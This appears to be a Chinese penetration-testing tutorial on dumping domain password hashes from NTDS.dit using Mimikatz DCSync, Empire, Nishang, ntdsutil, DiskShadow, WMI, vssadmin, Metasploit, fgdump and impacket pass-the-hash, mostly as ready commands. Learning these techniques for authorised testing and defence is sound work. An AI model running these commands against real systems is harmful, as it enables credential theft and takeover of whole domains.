域密码哈希的导出的那些事儿

在渗透测试过程中,我们常常碰到这样一种情况:已经实现域管理员访问,并提取所有域用户的密码的哈希用来进行离线破解和分析。这些哈希值存储在域控制器(NTDS.DIT​​)的数据库文件中,并往往带有一些其他信息,如组成员身份和用户。
NTDS.DIT​​文件会被操作系统频繁使用,因此无法直接复制到其他位置以提取信息。通常在Windows的如下路径可以找到该文件:

C:\Windows\NTDS\NTDS.dit

提取该文件并存储在其中的信息的技术非常多,但是大多数情况下会选择以下其中一种方法:

  1. 域控制器复制服务
  2. 原生Windows二进制文件
  3. WMI

Mimikatz

Mimikatz有一个dcsync的功能,利用它可以从目录复制服务(DRS)的NTDS.DIT​​文件中检索密码哈希值。该项技术省去了直接使用域控制器进行身份验证的过程,因为它可以通过域管理员的权限从域的任何系统执行。因此,该项技术可以作为红队的标准技术,因为它简单高效。

lsadump::dcsync /domain:pentestlab.local /all /csv

Mimikatz - 通过DCSync转储域哈希

通过使用/ user参数指定域用户名,Mimikatz可以转储包括其密码哈希值在内的所有帐户信息。

lsadump::dcsync /domain:pentestlab.local /user:test

Mimikatz - 通过DCSync转储用户哈希

另外,直接在域控制器中执行Mimikatz密码哈希值可以通过lsass.exe进程转储。

  1. privilege::debug
  2. lsadump::lsa /inject
Mimikatz - 通过lsass转储域哈希

之后,检索域内账户的密码哈希值。

Mimikatz - 通过lsadump转储域名哈希

Empire

PowerShell Empire有两个可以通过DCSync攻击检索域哈希值的模块。这两个模块都需要域管理员的权限执行,同时也伴随着Microsoft复制服务的运行。这些模块依赖于Invoke-Mimikatz PowerShell脚本来执行与DCSync相关的Mimikatz命令。通过以下模块可以将域哈希提取为类似于Metasploit hashdump命令输出的格式。

usemodule credentials/mimikatz/dcsync_hashdump

帝国 - DCSync Hashdump模块

DCSync模块需要指定用户才能提取所有帐户信息。

Empire - DCSync模块

将获得如下图所示的信息:


Empire - DCSync帐户信息

Nishang

Nishang是一个允许红队和渗透测试人员对系统进行攻击性操作的PowerShell框架。Copy-VSS脚本可以用于自动提取——NTDS.DIT​​,SAM和SYSTEM这些必要文件。这些文件将被解压到当前工作目录或其他任意的指定文件夹中。

1.Import-Module .\Copy-VSS.ps1
2.Copy-VSS
3.Copy-VSS -DestinationDir C:\ShadowCopy\

Nishang - 提取NTDS PowerShell

另外,还可以通过加载PowerShell扩展的方式来从现有的Meterpreter会话执行脚本。

1.load powershell
2.powershell_import /root/Copy-VSS.ps1
3.powershell_execute Copy-VSS

加载PowerShell并执行脚本的过程

也可以通过命令powershell_shell建立直接PowerShell会话,以便在脚本导入现有Meterpreter会话后提取文件。

1.Copy-VSS
2.Copy-VSS -DestinationDir C:\Ninja

Nishang - 提取NTDS Meterpreter PowerShell

PowerSploit

PowerSploit包含PowerShell脚本,该脚本利用卷影复制服务创建可用于提取文件的新卷,常常通过以下方式实现:

powershell_shell
New-VolumeShadowCopy -Volume C:
Get-VOlumeShadowCopy

PowerSploit - 卷影复制过程

接着,可以使用命令copy将文件从新卷复制到目标路径。

Invoke-DCSync

[Invoke–DCSync]是PowerShell的一个脚本,由Nick Landers
开发,并利用PowerView,Invoke-ReflectivePEInjection和PowerKatz的DLL检索与DCSync的Mimikatz方法来提取哈希值。直接执行该函数会有如下输出:

Invoke-DCSync

结果将格式化为Domain,User,RID和Hash四个表。同时,使用参数-PWDumpFormat执行Invoke-DCSync将以 user: id: lm: ntlm ::: 格式检索哈希:

Invoke-DCSync -PWDumpFormat

Invoke-DCSync - PowerShell PWDump格式

通过从现有的Meterpreter会话运行脚本,可以实现相同的输出。


Invoke-DCSync Metasploit

使用PWDumpFormat:


Invoke-DCSync - Metasploit PWDump格式

NTDSUTIL

NTDSUTIL是为了让管理员能够访问和管理Windows Active Directory数据库一种命令行工具,它是域控制器生态系统的一部分。同时,渗透测试人员和红队可以用它来拍摄现有ntds.dit文件的快照,通常将该文件复制到新位置,来进行离线分析和密码哈希的提取。

1.ntdsutil
2.activate instance ntds
3.ifm
4.create full C:\ntdsutil
5.quit
6.quit

NTDSUTIL

此处将生成Active Directory和Registry两个新文件夹。NTDS.DIT​​文件将保存在Active Directory中,SAM和SYSTEM文件将保存到Registry文件夹中。


ntdsutil - ntds

DiskShadow

DiskShadow是Microsoft签名的二进制文件,用于协助管理员执行与卷影复制服务(VSS)相关的操作。最初bohops在他的博客中提到了这个二进制文件。该二进制文件有两个模式,分别为:交互式脚本模式。因此,我们需要一个包含自动执行NTDS.DIT​​提取过程所需的所有命令的脚本文件。该脚本文件为了满足:创建新的卷影副本,装入新驱动器,执行复制命令并删除卷影副本等功能,需要以下行:

1.set context persistent nowriters
2.add volume c: alias someAlias
3.create
4.expose %someAlias% z:
5.exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
6.delete shadows volume %someAlias%
7.reset

值得注意的是,DiskShadow二进制文件需要从C:\Windows\System32路径执行。如果从另一个路径调用它,脚本将无法正确执行。

diskshadow.exe /s c:\diskshadow.txt

DiskShadow

直接从解释器运行以下命令,可以列出系统的所有可用卷影副本:

1.diskshadow
2.LIST SHADOWS ALL

diskshadow - 检索卷影副本

SYSTEM注册表配置单元也应该被复制,因为它包含解密NTDS文件内容的密钥。

reg.exe save hklm\system c:\exfil\system.bak

diskshadow - 从Registry复制系统

WMI

Sean Metcalf在他的博客表明,可以通过WMI远程提取NTDS.DIT​​和SYSTEM文件。该技术使用vssadmin二进制文件来创建卷影副本。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"
WMI - 创建卷影复制

接着,它远程执行复制命令,以便将卷影副本中的NTDS.DIT​​文件解压缩到目标系统上的另一个目录中。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"
WMI - 复制NTDS文件

该方法同样适用于SYSTEM文件。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"
WMI - 复制系统文件

然后,解压的文件可以从域控制器传输到另一个Windows系统,以转储域密码哈希值。

PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\ntds.dit C:\temp
PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\temp
通过复制传输文件

如果已生成黄金票证,则可以使用它通过Kerberos与域控制器进行身份验证,以此代替凭据。

VSSADMIN

卷影副本是Windows命令行一种即便被操作系统使用也能够用于管理员备份计算机,卷,文件的实用程序。卷影复制作为服务运行,并要求将文件系统格式化为NTFS,默认情况在所有现代操作系统下都是如此。从Windows命令提示符执行以下操作将创建C:驱动器盘的快照,以便用户访问通常无法访问这些文件,并将其其复制到另一个位置(本地文件夹,网络文件夹或可移动介质)。

vssadmin create shadow /for=C:


vssadmin - 创建卷影复制

因为C:驱动器盘中的所有文件都已复制到另一个位置(上图已给出,HarddiskVolumeShadowCopy1),所以它们不会被操作系统直接使用,因此可以直接访问并将其复制到另一个位置。命令副本将NTDS.DIT和SYSTEM文件复制到名为ShadowCopy的本地驱动器上的新创建文件夹中。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
从卷影复制中复制文件

这些文件需要从域控制器复制到另一个主机以进行进一步处理。

ShadowCopy - 文件

vssown

vssadmin实用程序类似,Tim Tomes开发了vssown,它是一种可以创建和删除卷影副本,并从卸载的卷影副本运行任意可执行文件,以及启动和停止卷影复制服务的可视化basic脚本。

cscript vssown.vbs /start
cscript vssown.vbs /create c
cscript vssown.vbs /list
cscript vssown.vbs /delete 
vssown - 卷影复制

可以使用命令副本复制所需的文件。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown
Metasploit - NTDS模块

Metasploit

Metasploit框架有这么一个模块,它通过服务器消息块(SMB)服务直接与域控制器进行身份验证,创建系统驱动器的卷影副本,并将NTDS.DIT​​和SYSTEM配置单元的副本下载到Metasploit目录中。这些文件可以与impacket等其他工具一起,共同用于提取执行活动目录密码的哈希。

auxiliary/admin/smb/psexec_ntdsgrab

Metasploit - NTDS模块

此外,还存在一个后期利用模块,可以链接到现有的Meterpreter会话,以便通过ntdsutil方法检索域哈希。

windows/gather/credentials/domain_hashdump

image.png

有时候,到域控制器如果存在现有Meterpreter会话的情况下,则可以使用命令hashdump。但是,该方法并不安全,因为它可能会使域控制器崩溃。

hashdump

Metasploit - DC上的Hashdump

fgdump

fgdump是一个元老级别的可执行文件,可用来提取LanMan和NTLM的密码哈希值。如果已获取本地管理员权限,则可以在本地或远程执行。在执行期间,fgdump将尝试禁用可能在系统上运行的防病毒软件,如果成功,则会将所有数据写入两个文件中。如果存在防病毒或端点解决方案,则不应将fgdump用作转储密码哈希的方法以避免检测,因为大多数防病毒公司(包括Microsoft的Windows Defender)都会对其进行标记。

fgdump.exe

fgdump - 域控制器

也可以通过检查.pwdump文件的内容来检索密码哈希值。

type 127.0.0.1.pwdump

fgdump - pwdump文件

NTDS提取

Impacket是一组用于执行各种任务,包括提取NTDS文件的内容python脚本。其中的impacket-secretsdump模块需要系统和NTDS数据库文件。

impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

此外,impacket可以通过使用计算机帐户及其哈希进行身份验证从NTDS.DIT​​文件远程转储域密码哈希。

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
impacket - 提取NTDS内容

此外,impacket可以通过使用计算机帐户及其哈希进行身份验证从NTDS.DIT​​文件远程转储域密码哈希。

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
impacket - 远程提取NTDS内容

NTDSDumpEx二进制文件可以从Windows主机中提取域密码哈希值,该方案可以作为impacket的替代解决方案。

NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive

NTDSDumpEx

还有一个shell脚本adXtract,它可以将用户名和密码的哈希值导出为一种可以被常见的密码爆破工具如John the Ripper和Hashcat调用的格式。

./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab

adXtract

该脚本会将所有信息写入项目名称下的各类文件中,当数据库文件NTDS的解密完成后,在将用户列表和密码哈希值导出到控制台中。同时,adXtract脚本还将提供有关域用户的大量信息,如下所示:

adXtract - 用户列表

密码哈希值将以下列格式显示。

密码哈希值
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,847评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,208评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,587评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,942评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,332评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,587评论 1 218
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,853评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,568评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,273评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,542评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,033评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,373评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,031评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,073评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,830评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,628评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,537评论 2 269

推荐阅读更多精彩内容

  • 没有给你富有的生活,没能给你特殊的权利,妈妈只希望,以后你大了能有回忆的童年。 今天晚上宝贝儿在我刷碗时,穿着单薄...
    任性一点儿阅读 245评论 1 0
  • 文 | 壹默了然 01 有一些人,生性就好像非常凉薄,不光是对陌生人冷冰冰的,就连对自己的家人,也是一样的不亲近。...
    壹默了然阅读 786评论 16 12
  • 今天从华德福群里看到一则消息,77岁的C hanna 老师,北美顶尖音乐治疗大师, Copake康复村音乐治疗师。...
    绽蕊向阳阅读 225评论 0 3